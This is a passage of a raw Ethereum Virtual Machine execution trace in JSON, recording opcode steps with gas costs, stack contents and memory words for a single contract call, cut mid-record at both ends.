x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15257,"op":"DUP2","gas":100690,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15258,"op":"PUSH2","gas":100687,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15261,"op":"JUMP","gas":100684,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x3643"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13891,"op":"JUMPDEST","gas":100676,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13892,"op":"PUSH1","gas":100675,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13894,"op":"PUSH1","gas":100672,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13896,"op":"PUSH1","gas":100669,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13898,"op":"SHL","gas":100666,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13899,"op":"SUB","gas":100663,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13900,"op":"DUP2","gas":100660,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13901,"op":"AND","gas":100657,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13902,"op":"DUP2","gas":100654,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13903,"op":"EQ","gas":100651,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13904,"op":"PUSH2","gas":100648,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13907,"op":"JUMPI","gas":100645,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x3658"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13912,"op":"JUMPDEST","gas":100635,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13913,"op":"POP","gas":100634,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13914,"op":"JUMP","gas":100632,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13477,"op":"JUMPDEST","gas":100624,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0